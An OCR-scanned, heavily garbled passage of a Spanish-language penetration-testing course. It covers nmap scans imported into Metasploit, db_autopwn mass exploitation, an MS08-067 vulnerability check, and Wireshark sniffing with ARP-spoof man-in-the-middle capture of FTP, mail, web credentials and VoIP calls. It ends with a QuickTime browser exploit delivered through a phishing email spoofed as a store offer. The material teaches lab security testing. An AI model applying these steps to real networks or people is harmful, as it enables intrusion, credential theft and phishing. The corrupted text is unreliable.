Exhaustivo lento nmiap 5§ sU T4 A v PE PP PS21 22325 20,113 31330 PAS0 113,443 10042 PO - script a1l @}@@iﬁg{f@@ﬁ

Trazado de ruta rapido nmap -5F -PE-P322.25.80 -PAD] 23 80,3388 -PU-PO -traceroute

Comandos en nmap
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Podemos realizar la incorporacion de los resultatosetasploit de dos formas
diferentes, la primera de ellas sera realizandectdimente el escaneo por nmap y
volcando el resultado en un fichero xml

NMAP 192.168.1.80 -p1-65535 --open -0X c:\resultadamp.xml

v CWIHDOWS systemn32icmd.exe

Microsoft Windows XP [Uersion 5.1.26801
CC» Copyright 1985-20001 Microsoft Corp.

C:~Documents and Settings“Administrador>cd ™

C:x>nmap 192.168.1.88 —p1-65535 —open —oX civresultadonmap.xml

Escaneo de un host con nmap

El resultado en pantalla nos mostrara los pueresegtan abiertos

SWIHDOWS 'system32'emd.exe

Microsoft Windows XP [Version 5.1.26081
(C>» Copyright 1985%-2001 Microsoft Corp.

C:~Documents and Settings~Administrador>cd

C:~>nmap 172.168.1.80 —pl1-65535 —open —o¥ c:wresultadonmap.xml

Starting Mmap 5.3BBETA1 ¢ http://nmap.org > at 201H-11-36 i1:41 Hora estbBndar r»o
mance

Mmap scan report for 192.168.1.88
Host dis uwup (B.B8AA17s latencyl.

Mot zhowun: 65538 filtewred ports,. 2 closed ports
PORT STATE SERVICE

13?2~ tcp open nethios—ssn

445-tcp open microsoft-ds

3389 -tcp open ms—term—seruv

MAC Address: @A:B83:FF:13:B2:2E (Microsoft)

Mmap done: 1 IP address <1 host up? scanned in 128.88 seconds
G2

Resultado escaneo nmap

Ahora nos interesara incorporar la salida del fichanl a la base de datos de
metasploit.

Si consultamos el fichero de salida c:\resultatdammmml vemos el resultado del
escaneo con formato de informe y lo incorporareaogetasploit no sin antes copiar el
fichero a /tmp o sea en C:\Archivos de programaaglgbit\Framework3\tmp

O P&g130
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=] Ciiresultadonmap.xml EIENEA o[-

archivo  Edicidn  Wer FEavoritos  Herramientas  Ayuda

e B (@ omopreport ‘ | B - i+ |-} Pédina = {J Herramientas =

nmap scan report - scan @ Tue Nov 30 11:41:53 2010 ‘ =

scan summary | scan info | 192.168.1.50 | runstats

scansummary ‘

192.168.1.80

ping results
srprasziras

address

ports

The 85520 ot scanred Bl oot shomn belon are in state: fltered
55530 ports repied nilh: no-responses

The 2 ports szanned Bul mot s below are in siste: cloed

2 ports replied with: resets

Fort State Ressan Product [version Extra info
5 [ep o —
22z | myrazk
3383 == |e=r syrack

Listo 4 Mi equipo H}75% -

Informe realizado con nmap

Db_import /tmp/resultadonmap.xml

Importing

Importing ¢
Tully

Importacién de nmap a metasploit

Comprobamos los datos importados con

hosts

HA bash

info  mac name

Muestra los hosts importados

Conservicescomprobamos los servicios abiertos del equipotiobje

Muestra los servicios importados

0
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Y convulns vemos que vulnerabilidades tiene que en esteatasy un escaneo
con nmap no muestra ninguna, con Nessus si quamsi las vulnerabilidades
encontradas.

Si queremos ejecutar autpown comentado anterioameatiiante puertos abiertos

Db—autopwn—t+—p—e—+

Lanzara la ejecucion de exploits por puertos dendomasiva lo que nos
devolvera todas las sesiones remotas que hayagoalietctar

STEM @ WICTIMA

HT AUTHORI EM @ VICTIMA 19

Sesiones obtenidas con autopwn

La otra forma de incorporar los resultados de nraala base de datos es
mediante el comanddibb_nmap, el cual ejecutandolo directamente desde la canmsmd
incorporara autométicamente los resultados.

Nmap desde sus Ultimas versiones posee un poemedje de scripts NSE (Nmap
Scripting Engine) donde podemos usarlo como esamemulnerabilidades, poniendo
un ejemplo de ello, ejecutaremos nmap para detedéar vulnerabilidad
ms08_067_netapi.

La ruta de los scripts es la siguiente: C:\Archidesprograma\Nmap\scripts y en ella
podemos encontrar todos los scripts que incorporapncon sus definiciones y forma
de uso.

o. Pé.gl32
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archiva  Edicién  Ver Favoritos  Herramientas  Ayuda w

@ ares - 5 Bisqueda [ Carpetas X 9 |mE-

Direccién | Tipt: ~|Br
Nombre | Tamafio | Tipo | Fecha de modificacidn | -~
[E) afo-brurense 3B Archivo NSE n/uz/zun 2123
6K Archivo NSE 11/02j2011 22:25
KB Archivo NSE 11{02/2011 22:25
KB Archiv NSE 11/02]2011 22:23
15KB  Archivo NSE 11/0zf2011 22:23
2K Avchivo NSE 11f02]2011 22123
5 authespoof.nse 1KB Archiva NSE 11f02]2011 22:25
|=] banner.nse: 6KB  Archivo NSE 11/02j2011 22:23 =3
g broadcast-dns-service-discov. . 2K Archivo NSE 11{02]2011 22:23
) brosdcast-dropboz-lstener nse 4K Archivo NSE 11f0zfz011 22:23
=) broadeast-ms-sql-discover.nse 2K Avchivo NSE 11f02]2011 22123
broadcast-upnp-info.nse 2K Archiv NSE 11f02]2011 22:25
broadcast wsdd-discover nse 4K Archivo NSE 11{02/2011 22:25
) crix-brute-scml nse: S5KB Archivo NSE 11{02]2011 22:23
chrix-enum-apps.nse 4K Archivo NSE 11/0zjz011 22:25
=] chri-enum-apps-wml.nse SKB Avchivo NSE 11{02]2011 22123
[ citrix-enum-servers.nse 4KB  Archivo NSE 11/0z{z011 22:23
) chri-enum-servers-sml.nse 2K Archivo NSE 11{02/2011 22123
[ couhdb-databases.nse: 3K Archiv NSE 11f02j2011 22:25
couchdb-stats.nse 9K Archivo NSE 11{02j2011 22:25
2 daap-get-ibrary.nss GKB Archiv NSE 11/02]2011 22:23
daytime nse 1KB  Archiva NSE 11f0zjz011 22:25
) dbz-das-info.nse 1768 Archivo NSE 11{02]2011 22123
;q db2-discaver.nse 4K Archiv NSE 11f02]2011 22:25
| dhep-discover.nse BKE  Archivo NSE 11/02j2011 22:23
dns-cathe-snoop.nse 7KB Archiv NSE 11/02]2011 22:23
[ drsefuzz.nse 1268 Archivo NSE 11f0zjz011 22:25
=) dhs-random-srcpart.nse 7B Archivo NSE 11{02/2011 22123
=) dos-random-ted.nse: TKB Archivo NSE 11/02/2011 22:25
dns-recursion.nse 2K Archivo NSE 11{02/2011 22:25
) dhs-service-discovery.nse 3K Archivo NSE 11{02]2011 22:23
dns-update.nse SKB Archivo NSE 11{0zjz011 22:23
=) dhs-z0ne-transfer nse 20KE  Archivo NSE 11{02]2011 22123
domeon-brute nse 4K Archivo NSE 11/02j2011 22:25
) domcon-cmd.nse SKE Archivo NSE 11{02/2011 22:25
domino-anum-Users s 4K Archiv NSE 11/02]2011 22:23
drda-brute nse 6K Archiv NSE 11/0zf2011 22:23
drda-infonse 4KB Avchivo NSE 11f02/2011 22123 |

Abriremos una consola de comandos y escribiremos:
Nmap —script smb-check-vulns.nse 192.168.1.80

WSsystemn32'cmd.exe

C:“Documents and Bettings“Administrador’nmap ——script smb—check-vulns.nze 192.16
8.1.80

Starting Hmap 5.5%1 ¢ http://nmap.org > at 2012-03-23 18:22 Hora estBndar romance

Mmap scan report for 192.168.1.88
Host dis up <(A.AA13s latency?.
Mot shoun: 995 filtered ports
STATE SERVICE
closed http
open nethios—s=n
OpPEn microsoft—ds
closed unknown
open ms—term—sery
MAC Hddreos: BA:83:FF:13:B2:2E (Microsoft)>

Huﬁt script results
smh—check—vulns:
MSA8-A67: UVULNERABLE
Conficker: Likely CLEAN
regsuc DoS: CHECK DISABLED {(add ‘-—script—args=unsafe=1' to runl
SMBv2 Do& (CUE-2887-3183>: CHECK DISABLED <{add ’--script—args=unsafe=1' to »

HEB6-@25: CHECK DISABLED <{remove "safe=1' argument to run
ME@Y-829: CHECK DISABLED <(remove "safe=1' argument to run’

Mmap done: 1 IP address <1 host up? scanned in 17.80 seconds

IC:~Documents and Settings“Administrador>_

Como podemos observar en la imagen en el apartadorght nos muestra el host como
VULNERABLE a ms08_067_netapi.
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Whireshark

Es una analizador de paguetes de red, es OpensopomEemos descargarlo de
http://www.wireshark.org/es multiplataforma y esta disponible para Winddwisux y
Mac utiliza las librerias winpcap, Su instalacié@mneuy simple

Una vez instalado si queremos empezar a captugaiegmaccederemos al menu
capture/options y le daremos a start, a partirsie momento whireshark capturara las
comunicaciones entre el equipo local y el extegbguisiéramos capturar paqguetes con
origen y destino distinto a nuestro equipo en @daconmutada tendremos que hacer un
ataque denominado arp spoof el cual consiste eenenar las tablas arp para asi poder
establecer una comunicacion intermedia y realzaule se llama un ataque man in the
middle. Asi podremos capturar cualquier paquetecaale por la red.

7 The Wireshark Network Analyzer =13

Ele Edt Yew Go Captre Analyze Statistics Telephony Tools Help

BWo e CE@xXZE aevsnTL/EEIAQQAn RDR | B

Fitert | *  Expression.., Clear Apply

72 wireshark: Capture Dptions L

Caphur

Tnterface: |Local ~ | [Realtek RTLE169/81 10 Family Gigablt Ethernet NIC - Online
IP address: 10:0.1, 116

Interface List Link-layer header bype:  Ethernet| = Wireless Settings

Lie list of the capture intetfaces (counts incoming pacl
[V Capture packets in promiscuous mode

Website

= st the project’s website

Rermote SEtits
Start capture on interface:

I Caphure packets in peap-ng format {experimenta) e A User's Guide

T Adepter For generic ok and VPN Copture | Lok cochpackette [ fbytes he Uses Guds ocsl varsion, F instaled)
£# | Broadcom Netstreme Gigabit Ethernet Driver (M

] Realtsk RTL&169/8110 Family Gigabit Ethernet . | | CApture Filer: | & pecurity

orkc with Wireshark 35 securely a5 possible
4% wMware Wirtual Ethernet Adapter Capture Fiel Display Options

Fie: | Brawse.. ||| [ Update list of parkets i real tine

[ Use multipls Filss

% ¥ automatic scrolling in live capture
7 fextfleevery |1 Afreedl = ¥ . L
7T e File exvery 1 j minutets) b ¥ Hide capture info dislog

¥ ringbufferwith {2 — Files
Capture Hel j Harme Resclution
[ Stop captirsaftar 1 = Filefs)

Stop Capture ...
[T .. after i jpaik&t(ﬂ

@ Network Media O oeer [0 H[resetytetz)

Specific infomation For capturing on: Ethemet, WLAN,

% WMware Yirtusl Ethernet Adspter

w Capture Options

Start & capture with detaled options

[¥ Enable MAC name resolution

@ How to Capture
Step by step to a successful capture setup

[ Enable netwark name resolution

W Il j e B ¥ Enable transport niame resclution
| | ¥
()| Ready to load or capture | ho Packets | Profile: Default 5
# tnicio| i m, [z~ Hum Do o o e 1 ro @ H g 135

Opciones de wireshark

En el supuesto que la red tenga mucho trafico quimé interesara filtrar los
paguetes, whireshark dispone de dos tipos dediltro

o. Pégl34
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Filtros de captura:

Son los que definimos inicialmente antes de captiosa paquetes, podriamos
acotar por ejemplo la captura a un solo host (pasgt 192.168.1.10) o solo capturar un
puerto determinado (p.ej. port 80)

Ejemplos de filtro de captura

Captura solamente trafico con origen/destino p [E92.168.0.12
Operadores logicos:

Negacion! 6 not

Concatenacion&& 6 and

Alternancia:|| 6 or

Captura solamente el host 192.168.0.12

Host 192.168.0.12 W

Captura solamente el puerto 80

Host 192.168.0.1 w

Captura todos los paquetes menos broadcast y libisast

Not broadcast and not multicast W

Host origen

Src host 192.168.0.12 w

Host destino

Dst host 192.168.0.12 W

Capturamos determinado rango de puertos

Portrange 1-1024

Filtros de Display:

Los filtros de display son los que mientras reafiaa una captura o esta ya se ha
realizado podemos aplicar:

Comparacion:

On P&g135
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Igual a: eq 0 ==

No igual: ne o =
Mayor que: gt o >
Menor que: It o <
Mayor o igual: ge 0 >=
Menor o Igual: le o <=

Combinacioén:
Negacion: ! o not
Unién: && o and
Alternancia: || o or

Contains: Buscamos por cadena

Ejemplos:

Ip.addr==192.168.1.80

Filtra exclusivamente los paquetes de origen destinla ip seleccionada.

Tcp.port==80

Filtra el puerto 80 del protocolo tcp

http contains www.fut.es

Busca en el protocolo http los paquetes que catiémUrl indicada.

Frame contains “@correos.es

Busca en los frames (paquetes) el las direcciome®aleo del dominio correos.es.

Whireshark dispone de un asistente de filtros dal podemos hacer uso.

Om PéngG
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%! wireshark: Filter Expression - Profile: Default

Field name Relation Yalue {unsigned, 2 bytes)
] Al s present |3'3|
TANGD - Tango Dissector Using GIOP APT _ Fradefined values:

TAPA - Trapeze Access Point Access Protocol =
TAPI - Microsoft Telephony API Service N
TC-MY - TwinCaT My -
TCAP - Transaction Capabilities spplication Part o
= TCP - Transmission Control Protocol o

top.srcport - Source Port

trp.dstport - Destination Port

tCp.port - Source or Destination Port -

tcp.stream - Strearn index

trpuseq - Sequence number j Range (offzet:length)
d | ol |

oK Cancel

Filtros de captura whireshark

El objetivo del curso no es estudiar a fondo lebilisiad de whireskark por lo
gue recomiendo que busquéis informacién de la méerga capturéis y comprobéis por
vosotros mismo su potencia. Os dejo algunos ejesgdocaptura de credenciales para
gue veais la potencia de la herramienta.

Captura Credenciales FTP

Tal capturaFTP.peap [Wireshark 1.6.2 (SWH Reu 38831 from Arunk-1.6)] [-[5][x]

fle Edt Vew Go Ceptre Ansbyze Statistics Telephony Took Inbsmak  Help

BER N PEXEE A++o9TL|BE QAAD BN %A

F\\t&l‘\/] trpport==21
Mo,

¥ P o
220-Filezilla Server version 0.9.39 beta

21 2011-12-22 11:03 75438 168.1.79 Respons

2 2011-12-22 11:03:45.676251 L168.1.78 FTR Response: 220-written by Tim Kosse (Tim.kosse@gmx.de
23 2011-12-22 11:03:45.677519 \168.1.80 Tcp shivadiscovery > ftp [4ck] Seq-l Ack=88 win-65448 Le
24 2011-12-22 11:03:45.674773 \168.1.79 FTP Response: 220 Flease visit Rttpi//sourceforge. net/pr
25 2011-12-22 11:03:45. 884749 \168.1.80 Tcp shivadiscoye tp [ACK] Seq=l Ack=149 Win=65387 L
26 2011-12-22 1103 :45.426846 168.1.60 FTR - :

27 2011-12-22 11:03 :48.432727 .168.1.7% . 3 : pessWard required for berna

28 2011-12-22 11:03:48. 590983 .168.1.80 credenciales shivac scoueesy p [ACK] Seq=13 Ack=182 wWin=65354
29 2011-12-22 11:03:50. 850708 \168.1.80 SRR R -

30 2011-12-22 11:03:50. 852873 68178 192.168.1.50 FTR Response T3o-tougEd on

31 2011-12-22 . \168.1.80 192.168.1.79 Tcp shivadiscovery > ftp [4CK] Seqm2s Ack=197 win=65339

38 2011-12-22
3

130465 ULT

.168.1.80 192.168.1.79 FTP Request

4l ]

T Frame 168t 62 Bytes on wire (496 Bits), 62 Bytes captured (496 Bits)

, Src: Microsof _13:b2:2e (00:03:ff:13:b2:2e), Dst: Vimware_04:18:c4 (00:0¢:29:04:18:c4)
i n 16 el

st

G000 00 Oc 25 04 18 c4 00 03 7T 13 bZ 2e 0B 00 45 00
0010 00 30 1h 3 40 00 80 06 5a F5 c0 a8 01 50 <0 a8
0020 01 4f 05 de 00 15 07 25 b2 ad 00 00 GO 00 70 02
0030 ff ff 3f 6a 00 00 02 04 05 b4 01 01 04 02

@

i Inicio

[PRUEBACONCEPTO\capturaF TP pap” 5600 Bykes 00:00:39 [Packets: 42 Displayed: 19 Marked: OLoad time: 000,000 | Prafile: Defauk ‘

) curscast.. | (Z2epiua. | [ capurar. msvom [ @ © © O E«mOZ0%Dd™ o7

o. Pégl37
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Captura Credenciales Correo

capturacorreo.peap

ehark 1.6.2 (SVN Rev 38931 from ftrunk-1.6}]

Fle Edt Wew Go Coptwe Analyze Stakistics  Telephony Tooks Internals  Help
BEBEM EEAXZE A oTFa(EE QD EDB% @

Filter d:.htp port

Ho.

1o _s——Filtro protocolo pop3 s cear ‘i

Destinatio

. 309398
02.477814
02,4812

. 530919 .
(528977 192,
696016 192,
. 700058 192
708120 192,
712045 152,
. 713048

9 2011-12-22 11
10 2011-12-22 11
1l

2011-12-22 0
LF 0TI 1300 T
14 2011-12-22 11:
15 2011-12-22 11:0
16 2011-12-22 11
17 2011-13-22 11:
2011-12-22

168.(| 2 |
192.168. .. +PASS

2011-12-22 710777

2011-12-22 L 716475

Frame 11: B3 ByTes on wire (664 Bits), 3 hytes captured (664 Bits)
Ethernet II, Src: microsof 13: ffi13:h2:2e), pst: vmware_04:18:c4 (00:0C:29:04:18:c4)
Internet Protocol version 4, src: 192.168.1.80 (192.168.1.80), pst: 192.148.1.70 (192 .168.1.78)
Transmission control Protocol, sre Port: robcad-Tm (1509), ‘DST Part: pop3 €110), Seq: 1, Ack: 11, Len: 29

00 OC 20 04 18 c4 Q0 03 ff 13 b2 2e 08 00 45 00
0010 00 45 1c 12 40 00 80 06 5a hl cO a8 01 50 O a8
0020 0L 4F 05 25 00 62 39 54 fe 84 6d 3a ce 5hb 50 18 . i
0030 ff £5 8d f 00 00 55 53 45 52 20 62 6l ......US ER ber
0040 40 76 69 72 74 75 65 6d 70 72 65 73 61 2e 63 6F @virtuem presa.co
m.

@ Fil: "CHPRUEBACONCEPTOLCapturacarten, prap” +496 Bytes 00:00:07 [ Packets: 55 Displayed: 48 Marked: O Load Hne: 0:00,000 | Profils: Default

Aini j Bcwsc..| 26x. | (@2~ Y cedn. | wsvom 7]60 X

Captura Credenciales Web

capturaconexionesweb.pcap

Ele Edt Yew Go Capture Analyze  Stebistics Telephony Tooks Internals  Help
SUdeE BEXEE AT LD

Filter | Ll Expression...
Ho

mi1-204
27 2011 5 AT 3
28 2011-12-22 11:18:37.367828 mi1-2045-47001 > sunproxyadmin [ack] Segq=1012 ack=21
29 2011 2 11:18:38,. 963354 192.168 £ 3 Source port: nfa Destination port: sip )
5 1 p ACK]

931 192.1 /B 5U

window size value: 65535
[calculated window size: &5535]
[window size scaling factor: -2
= checksum: OxdSa? [correct]

[Good checksum: True]

[Bad checksum: False]

[seq/ack analysis]
pata (62% bytes)
£

Credenciales

¢no window scaling used)]

L1l

usuario y password

STl LOF i

@/ Dats (data.data), 623 butss [ Packets: 30 Displaved: 30 Marksd: 0 Load time: 0:00.000 | Profile; Default

nicio| Ejcusc.| D26 | [{@3wi - W Do | wsvou

0
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Captura llamadas VOIP

capturaaudiopr otac

2l [-[o]=

e Edt Yiew Go Captue Anayze Stetistics Telephony Tooks Internds Help

SwWeeM EEXTE(LevaTL(EE QAAQE | EDR K| T

Filter ]hp _:I Expression... Clear
Mo, |Time Source | Destination |Protocal |infa =
7 20111222 T40.239018 102.168.1.78 192.168.1.80 H.263 PT-ITU-T M. 263, SSRC . Seq=1173, Time-1051
& 2011-12-22 .168.1.79 192.168.1.80 H.263 PT=LTU-T H.263, SSRC=OXFEFFFFFF, Seg=1174, Time=1051
9 2011-12-22 .168.1.79 192.168.1.80 H.263 PT=ITU-T H.263, SSRC=OXFEFFFFFF, Seq=1175, Time=1051
10 2011-12-22 09:40:40.241367 102.168.1.75 192.168.1.80 H.263 PT=LTU-T H.263, SSRC=OXFEFFFFFF, Seq=1176, Time=1051
1 2011-12-22 09:40:40.241461 192.168.1.79 192.168.1.80 H.263 PT=ITU-T H.263, SSRC=ONFEFFEFFF, Seq=1177, Time=1051
2 2011-12-22 09:40:40.241550 102.168.1.70 192.168.1.80 H.263 PT=ITU-T H.283, SSRC=OxFEFFFFFF, Seq=1178, Time=1051
13 2011-12-22 09:40:40.241642 1092.168.1.79 192.168.1.80 H.263 PT=ITU-T H.263, SSRC=0xFEFFFFFF, Seq=1179, Time=1051
14 2011-12-22 09:40:40.241921 192.168.1.79 192.168.1.80 H.263 PT=ITU-T H.263, SSRC=0xFEFFFFFF, Seq=1180, Time=1051
15 2011-12-22 09:40:40.242018 1052.168.1.73 192.168.1. 80 H.263 PT=ITU-T H.263, SSRC=OXFEFFFFFF, Seq=1181, Time=1051
1B 2011-12-22 09:40:40.323705 102.168.1.73 192.168.1. 80 H.263 PT=ITU-T H.263, SSRC=OXFEFFFFFF, Seq=1182, Time=1051
A5°2011-12: 09:40:40.431960 192.168.1.79 192.168. H.263 PT=ITU-T H.263, SSRC=OxXFEFFFFFF, Seq=1183, Time=105:
20 2011-12-22 09:40:40.468917 102.168.1.75 192.168. H.263 PT=ITU-T H.263, SSRC-OXFEFFFFEF, Seq=1184, Time=105i
21 2011-12-22 09:40:40.502916 102.168.1.75 192.168. H.263 PT=ITU-T H.263, SSRC=OXFEFFFFFF, Seq=1183, Time=105:
22 2011-12-22 09:40:40.615428 102.168.1.75 192.168. H.263 PT=ITU-T H.263, SSRC=OXFEFFFFFF, Seq=1186, Time=105:
25 2011-12-22 09:40:40.651602 192.168.1.75 192.168. H.263 PT=ITU-T H.263, SSRC=OXFEFFFFEF, Seq=1187, T4
26 2011-12-22 09:40:40.687608 102.168.1.75 192.168. H.263 PT=ITU-T H.283, SSRC=OXFEFFFFFF, Seq-1188,

Frame 7: O11 bytes on wire (7288 bits), o1l bytes captured (7288 bits)

Ethernet 11, Src: wmware_04:18:c4 (00:0<:25:04:18:cd), Dst: Microsaf_13:b2:2e (00:03:Ff:13:h2:2e)
Internet Protocal wersion 4, src: 192.168.1.79 ¢102.168.1.79), Dst: 182.168.1.80 (192.168.1.80)
User patagram Protocol, Src Port: 40022 (40022), DSt Port: 40022 (40022)

Rreal-Time Transport Protacal

# H.263 RTR Payload headsr (RFC2190)

# ITU-T recommendation H.26

0000 00 03 T 13 bz 2e 00 Oc 29 04 18 <4 08 00 45 00
0010 03 &1 47 ce 00 00 80 11 6h ae co ag 0l 4f cO a8
0020 ©1 50 9¢ 56 9¢ 56 03 6d al d3 80 22 04 95 00 10

nnfn  af d N NS dh 2 18 i1
@ | File: "C \PRUEBACOMCEPTONCantUraaLidionrotacolosin,bean” 559 KB 00:00:20 [ Packsts: 2677 Displaved: 2651 Marked: 0 Load time: 0:00. .. | Profie: Default A
Binicio| Hcwse. | D26x. | Ywer.. [[@eoptn. MvoH D)0 @ © @ E«meene 9kdm =

Seleccionamos el protocolo rtp y nos ubicamos enmanld de wireshark
Telephony/Voip Calls

Dietected 1 VoIP Call, Selected 1 Call,

Start Timi

Total: Calls: 1 Startpackets: 0 Completed calls: 1 Rejected calls: 1

Prepare Filter | Flow | Player Select All |

Nos muestra la conversacion capturada, para artiachos a placer.

udioprotocolosip.pcap - YolIP - RTP Player

[~ Wiew as time of day

Jitter buffer [ms] |5D :I ™ Use RTP timastarmp Decode | P lay PaLize Stop | Close I

Pulsamos decode para decodificar el fichero.

o Pag139
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/1] capturaaudioprotocolosip.pcap - YolP - RTP Player

W From 192,168.1.79:7012 to 192,168,1.80:40024 Duration:16,87 Drop by Jitter Buff:14(1,7%) Outof Seq: 0(0,0%) Wrong Timestar

PP o R EOD DD DD e e s e o e e e IR DR 8 oo e

T T T T - T
1z 25 25 45 55 bBs Ts 8z

[T From 192.168.1.79:40022 to 192.162.1.20:40022 Duration:11,23 Drop by Jiter Buff:267(43,8%)  Out of Seq: 610¢100,0%) ‘Wrong

D WD 0RO P e S R b R pede)ER o0 EoD e i) B o e D i > oo e e
J -Els bs I Tls 8sx 9z 10 11 12s
[™ From 192.168.1.80:40022 to 192,168.1.79:40022 Duration:9,60 Drop by Jitter Buff:195(43,6%)  Out of Seq: 447(100,0%) ‘Wrong T
b p p i [p 1l
» ) :
Sls El's ?Is Bs 9Is 11:‘! £ 11I - 12I £

1| |

[ From 192.168.1.80:40024 to 192.168.1.79:7012 Duration:16,38 Drop by Jiteer Buff:73(10,3%) Out of Seq: 0(0,0%) Wrong Timest:

[T Wiew as time of day

Jitter buffer [ms] |50 —_—j [ Use RTP timestarnp Decode | Play ‘ Palse ] ] Close |

e { B ¥ . | — o it e [ e s

Ahora Podemos darle a Play para oir la conversaeipturada.

Una de las opciones que posee wireshark y quetaesuly util es la geolocalizacion de
las direcciones IP, su configuracién no representgran esfuerzo y el resultado
merece la pena.

Inicialmente creamos una carpeta donde debemoardescos las bases de datos
Geolp.dat, GeolPASNum.dat y GeoLiteCity.dat de
http://www.maxmind.com/app/geoip_coun&g su versién open source.

En el menu edit /Preferences/Name Resolution dedhark en el menu edit debemos
indicar la ruta de las bases de datos descargadas.

o. Pé_gl40
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I CursCASTVERSIOHrev4-24032012.doc - Microsoft Word

- Escribauna pregunta - x
Wireshark: Preferences - Profile: Default

D= .
= User Interface MNarme Resolution
S e
[f*‘ Layaut Erable MAC namme resolution: R j
L =
= Colurmns Enable network name resolution: [
= Fant
- Colors Enable transport name resolution: &
i Capture Enable concurrent DNS name resolution:
5 Printing
a e Maximum concurrent requests: !500
b Statistics Enable CID resalution: 7
= & Protocols
kS Supprese SMI errars: [
] GeqlP database directories Edit... |
g T GeolP Database Paths - Profile: Defautt HEER
= Database pathname |
" Up Charchivos de programaiiviresharkigenin
E
Help
R
‘ °
I £
EIENR
: S, = = s 7 Help oK Apply | Cancel I
Dbuwar v kg | Aucformas= N\ W O B Al 3 @@ - Z -
Pag, 133 Sec. 1 133161 A 22,5cm Lin. 15 Col 1 GRE MIA ERT SR ERNOIET F
| @nicio| B cuwscast . | 124 Explore.. <|[{awresn..- msvon @ O @ © @ E«E09 9 s

Posteriormente en el menu edit/preferences/pratbpelt, deberemos marcar el check
“Enable Geoip Lookups”.

il wireshark: Preferences - Profile: Default !E u

- "
1EEE 802.14H —I Internet Protocol Version 4
IFCP Decode IPv4 TOS fleld as DiffSery field:

k|

TH&P
InfiniBancd

|

Reassemble fragmented IPv4 datagrams:

K|

Infiniband SDP Show IPv4 summary in protocal tree:

IPDC Validate the [Pv4 checksum if possible:
IPMI/BTCA

Support packet-capture from IP TSO-enabled hardware:

1PvE Ensble GeolP lookups:

[ B

1SAKMP J Interpret Reserved flag as Security flag (RFC 3514):
iSCSI

ISMACRYP
iSNS

ISUP

ITOM

U

P
Jmirror
JXTA
k12w

Kismet

Kpasswd _I

Help OK Apphy | Cancel |

Empezaremos una captura y cuando llevemos navegani@mpo, nos vamos al menu
Statistics/Endpoint List/Ipv4, nos mostrara un fakanio con todas las direcciones ip
asociada a su localizacion.

1
0
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Tl Pud Endpoints: geolocalizacion.pcap
IPv4 Endpoints: 65

ickets 4 |Rx Bytes 1 |Country A5 Nurmber |City Latituce |Lungitude |

5762 4383757 - - - - -

74 3718 - - - - -

a] 654 Spain #53352 Internet Access Metwork - 40.000000  -4.000000

& 13 010 Spain 453352 Internet Access Network - 40.000000  -4.000000

0 o- - - - -

365 69 946 United States 4515169 Google Inc. Mountain Yiews, Ca 37,419201 -122.057404

u} o- - - - -

69 G989 - - - - -

0 o- - - - -

3 322 - - - - -

29 2 383 United States 4515169 Google Inc. MoLntain Yiew, Ca 37.419201 -122.057404

7 1028 United States 4515169 Google Inc. Mountain View, Ca 37.419201 -122.057404

12 2 682 United States 4515169 Google Inc. MoLntain Yiew, Ca 37.419201 -122.057404

0 o- - - - -
291 92 587 Metherlands 4535415 WebaZilla European Metw - 52.500000 5.750000 j

< 0|
ot | cm | we |

Pulsaremos al boton de Map donde nos enlazarastrouavegador que conectandose
a Openlayers nos dibujara un map mundial con lgsd@bocalizadas.

) wireshark: IP Location Map - Mozilla Firefox

archivo  Editar  Ver  Historial  Marcadores  Herramientas  Ayuda

O cx

| |] wireshark: IP Lacation Map |+

&

(a1 | L1 lesfficiinacuments and SettingsfidministradorfCanfiguradén lacal{TempfiWireshark [P Map s023L2fipmap. html 7« 2] Gosale 5

Data CC-By-8A by OpenSirestiap
2000km
To0om:

| Terminadn

-169.80469, 65.36684

Tor deshabiicada

Nota: Si tu navegador por defecto no te muestra @go la imagen anterior copia el
enlace de la direccion, inicia firefox y pégalol@arra de direcciones.
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Escenarios practicos

Los siguientes ejemplos pretenden mostrar comaauldis vulneralidades del
sistema en todo su proceso y enseflando las diveasaas con las que podemos
obtener acceso a el.

Quicktime 7.6.7

Queremos obtener acceso al sistema mediante umaseftulnerable, en esta
ocasion usaremos quicktime player en su version.7.6

/= CVE - CVE-2010-1818 (under review) - Windows Internet Explorer

@. J = 8 hetpficve.mitre.crgfegi-binjcvename. cqPname=2010- 1818 =1 [éal[%] o

fechiva  Edicién  Ver Favoritos  Herramientas  Ayuda

W A 8 CYE - CYE-2010-1818 (under review) J ‘ M) - B - - ) Pagna + ) Herramiertas + 7
VE adlv Vie
logy iendly
CVE-2010-1818 Learn more at National Vulnerability Database (NVD)
(under review) + Severity Rating « Fix Information « Vulnerable Software Versions « SCAP Mappings
(VD The IPersistPropertyBag2: :Read function in QTPlugin.ocx in Apple QuickTime 6.x, 7.x, and other versions allows remote attackers to execute arbitrary code
Use via the _Marshaled_pUnk attribute, which triggers unmarshaling of an untrusted pointer o
Editorial
About CV
emid=1 ITEMS Of
sses-aslr-and- Terminolo
« MISC:http: D
us Candidate This CVE Identifier has "Candidate” status and must be reviewed and accepted by the CVE Editorial Board before it can be updated
he site to official "Entry” status on the CVE List. It may be modified or even rejected in the future,
Assigned (20100506)
Candidate assigned on 20100506 and proposed on N/A
SEARCH CVE USING KEYWORDS: Submit
¥You can also search by referance using the CVE Referance Maps.
£AD MADE TNENBRATIANS o mmitea Arn [}
K| | |
.| Error en la pagina. & Internet H100% -
Bmieol [Sc.. Hwnw 0000 B« 52 d¥ms 3@ EES 9® s

Iniciaremos metasploit i buscaremos el exploit o interesa.

Ejecutamos en la consola “search Quicktime” y reauidlve los exploit disponibles

ern 'quicktime'...

Seleccionaremos “use Windows/browser/apple_quicktmmarshaled_punk”,
con el método browser, y desde un servidor webdoréamporalmente por metasploit
crearemos una pagina maliciosa mediante la cuebradctarse la victima ejecutara el

o. Pé.gl43
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exploit, el método de envio dependera de como [ueldsplegarlo, nosotros lo
haremos mediante un correo enviado con el link.

Configuraremos los valores de metasploit comoracdion del servidor web, el
payload que en nuestro caso usaremos meterpref@cutamos el exploit.

Ahora mediante cualquier tipo de ingenieria Scamfiaremos el enlace de descarga del
exploit

Crearemos un correo con la pagina maliciosa con
Mpack —s “Oferta” —d body.txt —c application/htm bady.msg apple.htm
Esto nos empaquetara el cuerpo del mensaje y ahocaderemos al envio del correo

con “ bmail —s 192.168.1.59 berna@hotmail.comf ofertas@applestore.cosh —m
body.msg”

Ahora nuestra victima recibira el correo siguiente:

i [ 3

)
l.’r

=l

Enviar 4 1...

Lo

Tmprimir Eliminar

Y . 8 & .8

Crearcomes  Responder  Responde...  Reenviar

Direcciones Buscar

Carpetas x | ‘f_' Al o = [ l Recibido &

143 Outlaok Express Oferta =10 | EREE
